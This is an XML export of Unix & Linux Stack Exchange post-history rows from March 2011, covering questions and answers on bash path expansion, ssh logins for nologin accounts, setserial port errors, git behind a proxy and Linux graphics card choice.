  <row Id="22698" PostHistoryTypeId="2" PostId="9540" RevisionGUID="f84685bf-4def-4086-bbb5-20a2ec7942f3" CreationDate="2011-03-18T12:57:40.370" UserId="3226" Text="I would suggest you to consider:&#xD;&#xA;&#xD;&#xA; - [Cyrus Murder][1], which enables to share the entire IMAP mailbox namespace, but distribute the load amongst a pool of servers, and&#xD;&#xA; - FreeBSD, which is a robust system used by [many companies over the world][2], even by Micro$oft.&#xD;&#xA;&#xD;&#xA;I love the way FreeBSD ports mechanism greatly simplifies your everyday life, see [Update your FreeBSD software with care][3]. It's a [well-documented][4] system.&#xD;&#xA;&#xD;&#xA;I imagine Cyrus+FreeBSD based cluster, backed by [ZFS][5] (also, on [FreeBSD.org wiki][6]), the latter being actively ported/developed by FreeBSD project.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyrusimap.org/mediawiki/index.php/Cyrus_Murder&#xD;&#xA;  [2]: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/nutshell.html#INTRODUCTION-NUTSHELL-USERS&#xD;&#xA;  [3]: http://blogs.techrepublic.com.com/security/?p=2615&#xD;&#xA;  [4]: http://www.freebsd.org/docs.html&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/ZFS&#xD;&#xA;  [6]: http://wiki.freebsd.org/ZFS" />
  <row Id="22699" PostHistoryTypeId="2" PostId="9541" RevisionGUID="66a78fe3-5281-4876-86ce-e2bbc7cce089" CreationDate="2011-03-18T13:00:29.710" UserId="5116" Text="In a script I get in `$0` the possible relative path to it. For converting it to absolute I've found this solution which I don't understand:&#xD;&#xA;&#xD;&#xA;    abspath=$(cd ${0%/*} &amp;&amp; echo $PWD/${0##*/})&#xD;&#xA;&#xD;&#xA;My problem is the magic inside of `${0%/*}` and `${0##*/}`. It looks like the former extracts the dirname and the latter  extracts the filename, I just don't get how.&#xD;&#xA;" />
  <row Id="22700" PostHistoryTypeId="1" PostId="9541" RevisionGUID="66a78fe3-5281-4876-86ce-e2bbc7cce089" CreationDate="2011-03-18T13:00:29.710" UserId="5116" Text="Find absolute path from a script" />
  <row Id="22701" PostHistoryTypeId="3" PostId="9541" RevisionGUID="66a78fe3-5281-4876-86ce-e2bbc7cce089" CreationDate="2011-03-18T13:00:29.710" UserId="5116" Text="ébashàépathà" />
  <row Id="22702" PostHistoryTypeId="5" PostId="9307" RevisionGUID="e0b3b502-68a2-47f4-b1f0-1ff87a135383" CreationDate="2011-03-18T13:00:57.343" UserId="2180" Comment="add suggestion from commenter,  clean up grammar" Text="Building from source provides the following options which are not available when using a version from a binary package manager.&#xD;&#xA;&#xD;&#xA;Compiling from source allows you to:&#xD;&#xA;&#xD;&#xA;  - use processor-specific optimizations&#xD;&#xA;  - use the very latest version&#xD;&#xA;  - learn how compilation &amp; linking work (suggestion from @mattdm)&#xD;&#xA;  - fix bugs, development work&#xD;&#xA;  - set compile-time options (e.g. include X features in vim)&#xD;&#xA;" />
  <row Id="22703" PostHistoryTypeId="2" PostId="9542" RevisionGUID="668535b4-bb8a-4e17-97b9-9157fbad256e" CreationDate="2011-03-18T13:16:48.247" UserId="872" Text="**Definitions:**&#xD;&#xA;&#xD;&#xA;`${string%substring}`  deletes shortest match of `$substring` from the end of `$string`.&#xD;&#xA;&#xD;&#xA;`${string##substring}` deletes longest match of `$substring` from the start of `$string`.&#xD;&#xA;&#xD;&#xA;**Your example:**&#xD;&#xA;&#xD;&#xA;    abspath=$(cd ${0%/*} &amp;&amp; echo $PWD/${0##*/})&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`${0%/*}` deletes everything after the last slash, giving you the directory name of the script (which might be a relative path). &#xD;&#xA;&#xD;&#xA;`${0##*/}` deletes everything upto the last slash, giving you just the name of the script.&#xD;&#xA;&#xD;&#xA;So, this command changes to the directory of the script and concatenates the current working directory (given by `$PWD`) and the name of the script giving you the absolute path.&#xD;&#xA;&#xD;&#xA;To see what is going on try:&#xD;&#xA;&#xD;&#xA;    echo ${0%/*}&#xD;&#xA;    echo ${0##*/}" />
  <row Id="22704" PostHistoryTypeId="2" PostId="9543" RevisionGUID="489c7afd-8f52-4c8c-871e-6c0bbb9982be" CreationDate="2011-03-18T13:24:08.850" UserId="872" Text="Take a look at [retty][1] which finds the stdin, stdout and stderr of a process and attaches to them. However, you don't completely own the process like you did before so you can't send it signals.&#xD;&#xA;&#xD;&#xA;[1]: http://pasky.or.cz/~pasky/dev/retty/" />
  <row Id="22705" PostHistoryTypeId="17" PostId="9545" RevisionGUID="32c94d63-bf72-4bf4-83d4-fd35e842e6b3" CreationDate="2011-03-18T13:34:36.300" UserId="-1" Comment="from http://stackoverflow.com/questions/5350104/can-a-user-with-sbin-nologin-shell-login-through-ssh/5350152#5350152" Text="" />
  <row Id="22706" PostHistoryTypeId="2" PostId="9545" RevisionGUID="0d276935-e420-489e-9d72-f7d1417eb0a3" CreationDate="2011-03-18T09:33:21.990" UserDisplayName="Ignacio Vazquez-Abrams" Text="The command passed to `ssh` is run by the shell on the server, so if no valid shell is specified then it is not possible to run it." />
  <row Id="22707" PostHistoryTypeId="2" PostId="9544" RevisionGUID="1ada3870-62f7-4520-85df-9e00cd6898fd" CreationDate="2011-03-18T09:27:27.573" UserId="3913" Text="Hi,&#xD;&#xA;&#xD;&#xA;No flaming please. I just wonder if it's possible to ssh to a machine as a user with no valid shell(say, 'mail'). So far, I cannot and using the command below won't work:&#xD;&#xA;&#xD;&#xA;    $ ssh mail@machine.local /bin/bash&#xD;&#xA;&#xD;&#xA;It will always say, &quot;This account is currently not available.&quot;&#xD;&#xA;But if I'm logged-in to the machine and use 'su'&#xD;&#xA;&#xD;&#xA;    $ su mail -s /bin/bash&#xD;&#xA;&#xD;&#xA;I can become user 'mail'.&#xD;&#xA;&#xD;&#xA;Thanks a lot,&#xD;&#xA;&#xD;&#xA;Ismael Casimpan" />
  <row Id="22708" PostHistoryTypeId="1" PostId="9544" RevisionGUID="1ada3870-62f7-4520-85df-9e00cd6898fd" CreationDate="2011-03-18T09:27:27.573" UserId="3913" Text="Can a user with /sbin/nologin shell login through ssh?" />
  <row Id="22709" PostHistoryTypeId="3" PostId="9544" RevisionGUID="1ada3870-62f7-4520-85df-9e00cd6898fd" CreationDate="2011-03-18T09:27:27.573" UserId="3913" Text="ésecurityàécommandölineàésshà" />
  <row Id="22710" PostHistoryTypeId="17" PostId="9544" RevisionGUID="1215efd7-f6e7-47b1-a41a-57bc11f1c86e" CreationDate="2011-03-18T13:34:36.300" UserId="-1" Comment="from http://stackoverflow.com/questions/5350104/can-a-user-with-sbin-nologin-shell-login-through-ssh" Text="" />
  <row Id="22711" PostHistoryTypeId="2" PostId="9546" RevisionGUID="d820bf2e-e079-484f-99a5-531b9b2612e0" CreationDate="2011-03-18T13:39:04.953" UserId="3645" Text="Shawn had the simplest solution: `readlink -f $0`. If you want to be absolutely sure to handle weird file names, you can use this:&#xD;&#xA;&#xD;&#xA;    absolute_path_x=&quot;$(readlink -fn -- &quot;$0&quot;; echo x)&quot;&#xD;&#xA;    absolute_path=&quot;${absolute_path_x%x}&quot;&#xD;&#xA;&#xD;&#xA;[Documentation][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/l0b0/tilde/blob/master/examples/safe-find.sh" />
  <row Id="22712" PostHistoryTypeId="2" PostId="9547" RevisionGUID="11ad395b-c8bf-43e5-bcef-2b9577b0ccdc" CreationDate="2011-03-18T13:41:32.797" UserId="4805" Text="I'm trying to use setserial to configure ports ttyS0-ttyS5.  setserial ttyS0-ttyS3 work fine...its when I try to configure ttyS4 and ttyS5 where setserial fails:&#xD;&#xA;&#xD;&#xA;    # setserial /dev/ttyS4 irq 5 port 0x118 uart 16550A&#xD;&#xA;    Cannot set serial info: Invalid argument&#xD;&#xA;&#xD;&#xA;What do I need to do to get ttyS4 and ttyS5 configured through setserial?" />
  <row Id="22713" PostHistoryTypeId="1" PostId="9547" RevisionGUID="11ad395b-c8bf-43e5-bcef-2b9577b0ccdc" CreationDate="2011-03-18T13:41:32.797" UserId="4805" Text="setserial /dev/ttyS4: Cannot set serial info" />
  <row Id="22714" PostHistoryTypeId="3" PostId="9547" RevisionGUID="11ad395b-c8bf-43e5-bcef-2b9577b0ccdc" CreationDate="2011-03-18T13:41:32.797" UserId="4805" Text="éttyà" />
  <row Id="22715" PostHistoryTypeId="5" PostId="9506" RevisionGUID="663e169c-83ff-4829-b804-1fd136f4591a" CreationDate="2011-03-18T14:01:35.510" UserId="5838" Comment="added 181 characters in body" Text="I've been wondering about this for a while and my usual resources don't seem to really know.&#xD;&#xA;&#xD;&#xA;The base question is; which 3D card performs the best on Linux (any distro)?&#xD;&#xA;&#xD;&#xA;But of course, the question is really two-fold;&#xD;&#xA;&#xD;&#xA;1) What's the best bet, performance-wise, if I insist on using strictly open-source drivers with no closed firmware or anything of the sort?&#xD;&#xA;&#xD;&#xA;2) If the best performance can only be acquired with closed-source drivers or/or closed firmware, what's the best bet?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;I am flabbergasted by how difficult it is to get people to even tell me anything at all about this. I don't know how to ask this in a better way so I'm leaving it closed." />
  <row Id="22716" PostHistoryTypeId="2" PostId="9548" RevisionGUID="768af15d-e6d4-4ec7-bf54-cf6903eb97b6" CreationDate="2011-03-18T14:05:33.020" UserId="5785" Text="If you want to learn Shell Parameter Expansion, you can read it from [here][1], but Expansion isn't always a good choice. In this case, almost every Unix like system has 2 good utils:&#xD;&#xA;&#xD;&#xA;    basename&#xD;&#xA;    dirname&#xD;&#xA;&#xD;&#xA;The first will extract the filename, while the second will extract the path, so, if you have $0, say:&#xD;&#xA;&#xD;&#xA;    dirname $0&#xD;&#xA;&#xD;&#xA;And you'ill get the path.&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Shell-Parameter-Expansion" />
  <row Id="22717" PostHistoryTypeId="2" PostId="9549" RevisionGUID="41d7e722-62f4-4607-bb5b-2ea99baf27e9" CreationDate="2011-03-18T14:13:19.783" UserId="5666" Text="If you intend to make it a dedicated mail server, I absolutely suggest [Zimbra Community Edition](http://www.zimbra.com/downloads/os-downloads.html). It is a complete mail server solution suite, including imap4, pop3, IM, webmail gui, document sharing, calendar, directory service etc. It is based on postfix for mta.&#xD;&#xA;&#xD;&#xA;It takes 5 minutes tops to install and has a very cool and complete web administration interface. Good documentation and support through their wiki and forums sites." />
  <row Id="22718" PostHistoryTypeId="2" PostId="9550" RevisionGUID="b5c49a52-9f4f-44c1-9dc0-25c23f4f787c" CreationDate="2011-03-18T14:18:02.300" UserId="688" Text="Following [some advice][1], I made a change and ran this:&#xD;&#xA;&#xD;&#xA;    find ~/.[!.]* -mmin -5&#xD;&#xA;&#xD;&#xA;Among the displayed results was `~/.config/dconf/user`. It's a binary file, a sort of database where GSettings stores stuff.&#xD;&#xA;&#xD;&#xA;(I should have probably used `lsof` as well)&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/8922/where-does-gsettings-store-its-files#comment-11292" />
  <row Id="22720" PostHistoryTypeId="25" PostId="9541" RevisionGUID="866b583c-5ad1-4eb7-9536-f1309b88bd60" CreationDate="2011-03-18T14:31:20.720" Comment="http://twitter.com/#!/StackUnix/status/48753356679819264" />
  <row Id="22721" PostHistoryTypeId="5" PostId="9374" RevisionGUID="e4b12c76-b7c4-4111-a3fb-b35f9d1db96b" CreationDate="2011-03-18T14:54:07.187" UserId="3963" Comment="fix spelling" Text="My personal flavor for Linux Kernel development is Debian. Now for your points:&#xD;&#xA;&#xD;&#xA; 1. As you probably guessed Ubuntu doesn't bring nothing new to kernel ease kernel development afaik, apart from what's already available in Debian. For e.g. make_kpkg is a Debian feat. and not Ubuntu. Here are some links to get you started on common Linux Kernel development tasks in Debian:&#xD;&#xA; - [Chapter 4 - Common kernel-related tasks](http://kernel-handbook.alioth.debian.org/ch-common-tasks.html) of [Debian Linux Kernel Handbook](http://kernel-handbook.alioth.debian.org/index.html)&#xD;&#xA; - [Chapter 10 - Debian and the kernel](http://www.debian.org/doc/FAQ/ch-kernel.en.html) of [The Debian GNU/Linux FAQ ](http://www.debian.org/doc/FAQ/index.en.html)&#xD;&#xA;&#xD;&#xA; 2. The easiest way to do kernel debugging is using QEMU and gdb. Some links to get you started:&#xD;&#xA; - http://files.meetup.com/1590495/debugging-with-qemu.pdf&#xD;&#xA; - http://www.cs.rochester.edu/~sandhya/csc256/assignments/qemu_linux.html&#xD;&#xA;   &#xD;&#xA;    Though, you should be aware that this method is not viable for certain scenarios like specific hardware issues debugging and such, for which you would be better of using physical serial debugging and real hardware. For this you can use [KGDB](http://kgdb.linsyssoft.com/intro.htm)(it works using ethernet too). [KDB](http://oss.sgi.com/projects/kdb/) is also a good choice. Oh, and by the way, both KGDB and KDB have been [merged](http://oss.sgi.com/projects/kdb/) into the Linux Kernel. More on those two [here](http://kernel.org/pub/linux/kernel/people/jwessel/kdb/).&#xD;&#xA;    Another cool method, which works marvelously for non-hardware related issues, is using the [User-mode Linux Kernel](http://user-mode-linux.sourceforge.net/). Running the Kernel in user-mode as any other process [allows you to debug it just like any other program](http://user-mode-linux.sourceforge.net/old/UserModeLinux-HOWTO-11.html)([examples](http://user-mode-linux.sourceforge.net/old/UserModeLinux-HOWTO-12.html)). More on User-mode  Linux [here](http://www.ibm.com/developerworks/linux/tutorials/l-uml/). UML is part of the Linux Kernel since 2.6.0 , thus you can build any official kernel version above that into UML mode by [following these steps](http://user-mode-linux.sourceforge.net/source.html).&#xD;&#xA;&#xD;&#xA; 3. See 2. Unfortunately there is no best here, since each tool/method has its pro's and con's.&#xD;&#xA;&#xD;&#xA;Hope this helps you start your crazy journey in Linux Kernel Development.&#xD;&#xA;" />
  <row Id="22722" PostHistoryTypeId="5" PostId="9547" RevisionGUID="d3fbb44e-2160-45ac-9815-707abf3057f3" CreationDate="2011-03-18T14:59:57.253" UserId="4805" Comment="added 173 characters in body" Text="I'm trying to use setserial to configure ports ttyS0-ttyS5.  setserial ttyS0-ttyS3 work fine...its when I try to configure ttyS4 and ttyS5 where setserial fails:&#xD;&#xA;&#xD;&#xA;    # setserial /dev/ttyS4 irq 5 port 0x118 uart 16550A&#xD;&#xA;    Cannot set serial info: Invalid argument&#xD;&#xA;&#xD;&#xA;I have 6 serial devices on my motherboard: S0 and S1 are on the ETX bus and S2-S5 are on the ISA bus.  My kernel is configured with &quot;CONFIG_SERIAL_8250_RUNTIME_UARTS=6&quot;.&#xD;&#xA;&#xD;&#xA;What do I need to do to get ttyS4 and ttyS5 configured through setserial?" />
  <row Id="22723" PostHistoryTypeId="2" PostId="9551" RevisionGUID="e03c63a3-ce46-493c-a57d-39d26a202ab5" CreationDate="2011-03-18T15:07:48.120" UserId="688" Text="When I run `git clone git://git.gnome.org/tracker`, I get:&#xD;&#xA;&#xD;&#xA;    Cloning into tracker...&#xD;&#xA;    git.gnome.org[0: 209.132.180.173]: errno=Connection refused&#xD;&#xA;    fatal: unable to connect a socket (Connection refused)&#xD;&#xA;&#xD;&#xA;This doesn't happen when I'm not behind a network proxy I'm currently at." />
  <row Id="22724" PostHistoryTypeId="1" PostId="9551" RevisionGUID="e03c63a3-ce46-493c-a57d-39d26a202ab5" CreationDate="2011-03-18T15:07:48.120" UserId="688" Text="I am failing to clone a git repo when behind a proxy" />
  <row Id="22725" PostHistoryTypeId="3" PostId="9551" RevisionGUID="e03c63a3-ce46-493c-a57d-39d26a202ab5" CreationDate="2011-03-18T15:07:48.120" UserId="688" Text="énetworkingàégità" />
  <row Id="22726" PostHistoryTypeId="2" PostId="9552" RevisionGUID="4cd054c6-1333-46d4-8b8c-1ae067a4575d" CreationDate="2011-03-18T15:08:58.690" UserId="138" Text="First, make sure the kernel can actually see all of the ports, that they're numbered the way you expect, and that the IRQs and such are as you expect:&#xD;&#xA;&#xD;&#xA;    # cat /proc/tty/driver/serial&#xD;&#xA;&#xD;&#xA;If all looks correct there, I'd try dropping the `uart` parameter from the `setserial` command. It shouldn't be necessary, and may be causing a conflict if the UART in use is not in fact a 16550A. Your use of the serial port almost certainly does not actually depend on which UART is being used." />
  <row Id="22727" PostHistoryTypeId="2" PostId="9553" RevisionGUID="e38f7019-3576-4c88-b288-e962baaa7c90" CreationDate="2011-03-18T15:11:03.843" UserId="2511" Text="I'm  building or buying a new Linux system, and I'm trying to select the best graphics card for my needs. How do I go about making this decision?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There's dozens of computer-gear review sites which drool over every detail of new graphics hardware and perform detailed benchmarks and pros and cons — for Microsoft Windows. Are these ever useful sources of information for Linux too? Does any site at least give Linux a cursory look?&#xD;&#xA;&#xD;&#xA;I'm primarily interested in good 2D performance, but with fancy new desktop environments now requiring hardware-accelerated 3D, I need to consider that too. Where can I find pre-purchase information on that?&#xD;&#xA;&#xD;&#xA;I strongly prefer having an open source driver. How do I judge which open source drivers are the best in terms of features support and performance, without joining a dozen different mailing lists? Are specific companies almost always the best bet, or does it change?&#xD;&#xA;&#xD;&#xA;What are the advantages and drawbacks of a closed-source driver? Is this mostly about 3D performance, or are there other features enabled by proprietary drivers that I might miss out on? Is the state-of-the-art finally such that I can choose between open or closed for any given graphics card, or do some models require one or the other?&#xD;&#xA;&#xD;&#xA;How do I find if a specific graphics driver fits a given model on the market? Is it best to buy older cards in order to insure that support is available?&#xD;&#xA;" />
  <row Id="22728" PostHistoryTypeId="1" PostId="9553" RevisionGUID="e38f7019-3576-4c88-b288-e962baaa7c90" CreationDate="2011-03-18T15:11:03.843" UserId="2511" Text="How do I choose a graphics card for Linux?" />
  <row Id="22729" PostHistoryTypeId="3" PostId="9553" RevisionGUID="e38f7019-3576-4c88-b288-e962baaa7c90" CreationDate="2011-03-18T15:11:03.843" UserId="2511" Text="élinuxàéxorgàégraphicsàéhardwareöcompatibilityà" />
  <row Id="22730" PostHistoryTypeId="2" PostId="9554" RevisionGUID="6c82886f-98f8-47d2-9846-27a47e2e2114" CreationDate="2011-03-18T15:20:49.757" UserId="5666" Text="Use the http version of git.gnome.org repo and set http_proxy environment variable&#xD;&#xA;&#xD;&#xA;    http_proxy=http://your.proxy.server:proxy_port&#xD;&#xA;    git clone http://git.gnome.org/browse/tracker&#xD;&#xA;&#xD;&#xA;you might also need to add the proxy to git config&#xD;&#xA;&#xD;&#xA;    git config --global http.proxy $http_proxy&#xD;&#xA;" />
  <row Id="22731" PostHistoryTypeId="2" PostId="9555" RevisionGUID="3175c9d2-45e7-4346-ab4a-e1d699db4166" CreationDate="2011-03-18T15:28:23.133" UserId="688" Text="So I set my HTTP proxy via **Settings** -&gt; **Preferences** -&gt; **Network setup**, and am getting this error:&#xD;&#xA;&#xD;&#xA;    Looking up irc.us.gimp.org&#xD;&#xA;    Looking up &lt;IP&gt;&#xD;&#xA;    Connecting to &lt;IP&gt; (&lt;IP&gt;) port &lt;PORT&gt;...&#xD;&#xA;    HTTP/1.1 502 Proxy Error ( The specified Secure Sockets Layer (SSL) port is not allowed. ISA Server is not configured to allow &#xD;&#xA;    Proxy traversal failed.&#xD;&#xA;    Stopped previous connection attempt (pid=4696)&#xD;&#xA;&#xD;&#xA;(`&lt;IP&gt;` and `&lt;PORT&gt;` are substitutions)&#xD;&#xA;&#xD;&#xA;Without that setting (the IP:PORT is left empty), I'm getting this error:&#xD;&#xA;&#xD;&#xA;    Looking up irc.us.gimp.org&#xD;&#xA;    Connecting to irc.us.gimp.org (192.219.30.200) port 6667...&#xD;&#xA;    Connection failed. Error: Connection refused" />
  <row Id="22732" PostHistoryTypeId="1" PostId="9555" RevisionGUID="3175c9d2-45e7-4346-ab4a-e1d699db4166" CreationDate="2011-03-18T15:28:23.133" UserId="688" Text="I am failing to use XChat when behind a proxy" />
  <row Id="22733" PostHistoryTypeId="3" PostId="9555" RevisionGUID="3175c9d2-45e7-4346-ab4a-e1d699db4166" CreationDate="2011-03-18T15:28:23.133" UserId="688" Text="éhttpöproxyàéxchatà" />
  <row Id="22734" PostHistoryTypeId="2" PostId="9556" RevisionGUID="ae48c7e9-cc76-4590-8718-60e8b7c1dd3e" CreationDate="2011-03-18T15:34:04.670" UserId="3963" Text="Check out the following lists of linux friendly graphics cards/chipsets, both open and proprietary:&#xD;&#xA;&#xD;&#xA;http://www.phoronix.com/scan.php?page=category&amp;item=Graphics%20Cards (provides benchmarks and reviews and all, pretty cool)&#xD;&#xA;&#xD;&#xA;http://www.tldp.org/HOWTO/Hardware-HOWTO/video.html&#xD;&#xA;&#xD;&#xA;http://hardware4linux.info/search/&#xD;&#xA;&#xD;&#xA;http://xorg.freedesktop.org/wiki/Projects/Drivers?action=show&amp;redirect=VideoDrivers&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22735" PostHistoryTypeId="2" PostId="9557" RevisionGUID="012c05f8-f52b-4f49-8969-b4f3e15b1a48" CreationDate="2011-03-18T15:39:18.503" UserId="3963" Text="Did you try adding the `-c` parameter?&#xD;&#xA;&#xD;&#xA;Excerpt from wget manual:&#xD;&#xA;&#xD;&#xA;&gt; -c&#xD;&#xA;--continue&#xD;&#xA;&gt; &#xD;&#xA;&gt; Beginning with Wget 1.7, if you use -c&#xD;&#xA;&gt; on a non-empty file, and it turns out&#xD;&#xA;&gt; that the server does not support&#xD;&#xA;&gt; continued downloading, Wget will&#xD;&#xA;&gt; refuse to start the download from&#xD;&#xA;&gt; scratch, which would effectively ruin&#xD;&#xA;&gt; existing contents. If you really want&#xD;&#xA;&gt; the download to start from scratch,&#xD;&#xA;&gt; remove the file.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Also beginning with Wget 1.7, if you&#xD;&#xA;&gt; use -c on a file which is of equal&#xD;&#xA;&gt; size as the one on the server, Wget&#xD;&#xA;&gt; will refuse to download the file and&#xD;&#xA;&gt; print an explanatory message. The same&#xD;&#xA;&gt; happens when the file is smaller on&#xD;&#xA;&gt; the server than locally (presumably&#xD;&#xA;&gt; because it was changed on the server&#xD;&#xA;&gt; since your last download&#xD;&#xA;&gt; attempt)---because ''continuing'' is&#xD;&#xA;&gt; not meaningful, no download occurs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; On the other side of the coin, while&#xD;&#xA;&gt; using -c, any file that's bigger on&#xD;&#xA;&gt; the server than locally will be&#xD;&#xA;&gt; considered an incomplete download and&#xD;&#xA;&gt; only &quot;(length(remote) -&#xD;&#xA;&gt; length(local))&quot; bytes will be&#xD;&#xA;&gt; downloaded and tacked onto the end of&#xD;&#xA;&gt; the local file. This behavior can be&#xD;&#xA;&gt; desirable in certain cases---for&#xD;&#xA;&gt; instance, you can use wget -c to&#xD;&#xA;&gt; download just the new portion that's&#xD;&#xA;&gt; been appended to a data collection or&#xD;&#xA;&gt; log file.&#xD;&#xA;&#xD;&#xA;To my knowledge it should skip files that are already downloaded and of the same size." />
  <row Id="22736" PostHistoryTypeId="2" PostId="9558" RevisionGUID="afa3e5b3-9bcd-44a6-b7ce-12f92b2c283e" CreationDate="2011-03-18T15:40:19.577" UserId="2180" Text="I have a Busybox/Linux system where a mystery program is segfaulting rarely. Is there a way to find which program is doing this?" />
  <row Id="22737" PostHistoryTypeId="1" PostId="9558" RevisionGUID="afa3e5b3-9bcd-44a6-b7ce-12f92b2c283e" CreationDate="2011-03-18T15:40:19.577" UserId="2180" Text="Is there a way to find out which program is segfault-ing?" />
  <row Id="22738" PostHistoryTypeId="3" PostId="9558" RevisionGUID="afa3e5b3-9bcd-44a6-b7ce-12f92b2c283e" CreationDate="2011-03-18T15:40:19.577" UserId="2180" Text="élinuxàédebuggingàésegmentationöfaultà" />
  <row Id="22739" PostHistoryTypeId="2" PostId="9559" RevisionGUID="1f6f8b7e-1f6f-4dce-9eec-54d8b834f253" CreationDate="2011-03-18T15:45:34.650" UserId="5785" Text="See **[git-config][1]** details, you can set proxies for HTTP or GIT protocols.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/pub/software/scm/git/docs/git-config.html" />
  <row Id="22740" PostHistoryTypeId="2" PostId="9560" RevisionGUID="2027578d-d290-40ec-8af5-2480b3bb5c05" CreationDate="2011-03-18T15:46:05.733" UserId="4667" Text="[`screen`][1] is very handy for this. Launch screen, launch the process inside screen, detach from screen.  Then, `screen -DR` to resume.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/GNU_Screen" />
  <row Id="22741" PostHistoryTypeId="5" PostId="9534" RevisionGUID="65cab1a1-5d09-42c4-ad26-c38da47c1f47" CreationDate="2011-03-18T16:02:59.300" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How can I pause up a running process over ssh, disown it, associate it to a new screen shell and unpause it?](http://unix.stackexchange.com/questions/4034/how-can-i-pause-up-a-running-process-over-ssh-disown-it-associate-it-to-a-new-s)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;It is fairly easy to disown a process, or make it run without a ttl, but is it possible to transfer to process to your own ttl?&#xD;&#xA;&#xD;&#xA;_note: by disown a process, i'm talking about running a command using nohup, or by running the disown builtin._" />
  <row Id="22742" PostHistoryTypeId="10" PostId="9534" RevisionGUID="fe2da5d5-d3d6-4f64-9cd2-13cb401e6df8" CreationDate="2011-03-18T16:02:59.190" UserId="2511" CloseReasonId="1" Text="[{&quot;Id&quot;:2511,&quot;DisplayName&quot;:&quot;mattdm&quot;}]" />
  <row Id="22743" PostHistoryTypeId="4" PostId="4034" RevisionGUID="19b3e1af-e57c-440b-b612-a0e16d57b8f6" CreationDate="2011-03-18T16:03:29.580" UserId="2511" Comment="edited title" Text="How can I disown it a running process and associate it to a new screen shell?" />
  <row Id="22744" PostHistoryTypeId="5" PostId="9547" RevisionGUID="e2ecb18f-2191-4c4a-b956-816aaf011a27" CreationDate="2011-03-18T16:06:57.100" UserId="4805" Comment="added 1166 characters in body" Text="So, I have a board with 6 hardware serial ports: the first 2 on the ETX bus and the last 4 on the ISA bus.  The following configuration is how it is supposed to be:&#xD;&#xA;&#xD;&#xA;    /dev/ttyS0 port 0x03F8 irq 4&#xD;&#xA;    /dev/ttyS1 port 0x02F8 irq 3&#xD;&#xA;    /dev/ttyS2 port 0x0100 irq 5&#xD;&#xA;    /dev/ttyS3 port 0x0108 irq 5&#xD;&#xA;    /dev/ttyS4 port 0x0110 irq 5&#xD;&#xA;    /dev/ttyS5 port 0x0118 irq 5&#xD;&#xA;&#xD;&#xA;On startup, I run:&#xD;&#xA;&#xD;&#xA;    # dmesg | egrep -i 'serial|ttys'&#xD;&#xA;    Serial: 8250/16550 driver, 6 ports, IRQ sharing enabled&#xD;&#xA;    serial8250: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A&#xD;&#xA;    serial8250: ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A&#xD;&#xA;    00:06: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A&#xD;&#xA;    00:07: ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A&#xD;&#xA;&#xD;&#xA;    # cat /proc/tty/driver/serial&#xD;&#xA;    Serinfo:1.0 driver revision:&#xD;&#xA;    0: uart:16550A port: 000003F8 irq:4 tx:0 rx:0&#xD;&#xA;    1: uart:16550A port: 000002F8 irq:3 tx:0 rx:0&#xD;&#xA;    2: uart:unknown port:000003E8 irq:4&#xD;&#xA;    3: uart:unknown port:000002E8 irq:3&#xD;&#xA;    4: uart:unknown port:00000000 irq:0&#xD;&#xA;    5: uart:unknown port:00000000 irq:0&#xD;&#xA;&#xD;&#xA;So, I'm trying to use setserial to configure ports ttyS2-ttyS5 with the correct values:&#xD;&#xA;&#xD;&#xA;    # setserial /dev/ttyS2 irq 5 port 0x100 uart 16550A&#xD;&#xA;    # setserial /dev/ttyS3 irq 5 port 0x108 uart 16550A&#xD;&#xA;    # setserial /dev/ttyS4 irq 5 port 0x110 uart 16550A&#xD;&#xA;    Cannot set serial info: Invalid argument&#xD;&#xA;    # setserial /dev/ttyS5 irq 5 port 0x118 uart 16550A&#xD;&#xA;    Cannot set serial info: Invalid argument&#xD;&#xA;&#xD;&#xA;Even taking out the uart option from the last command:&#xD;&#xA;&#xD;&#xA;    # setserial /dev/ttyS4 irq 5&#xD;&#xA;    Cannot set serial info: Invalid argument&#xD;&#xA;&#xD;&#xA;What do I need to do to get ttyS4 and ttyS5 configured through setserial?" />
  <row Id="22745" PostHistoryTypeId="5" PostId="9550" RevisionGUID="2965941a-5e55-44d2-8af2-48aa5dfecc00" CreationDate="2011-03-18T16:10:48.777" UserId="688" Comment="added 134 characters in body" Text="Following [some advice][1], I made a change and ran this:&#xD;&#xA;&#xD;&#xA;    find ~/.[!.]* -mmin -5&#xD;&#xA;&#xD;&#xA;Among the displayed results was `~/.config/dconf/user`. It's a binary file, a sort of database where GSettings stores stuff.&#xD;&#xA;&#xD;&#xA;(I should have probably used [lsof][2] before asking, considering it was the only tool I knew at the time that would help me find out)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/8922/where-does-gsettings-store-its-files#comment-11292&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Lsof" />
  <row Id="22746" PostHistoryTypeId="2" PostId="9561" RevisionGUID="4e24f532-0226-4aec-8268-395112b467d0" CreationDate="2011-03-18T16:14:56.527" UserId="5774" Text="I found [THIS][1] link, you should find all the alternatives there. good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://alternativeto.net/software/diagramly/" />
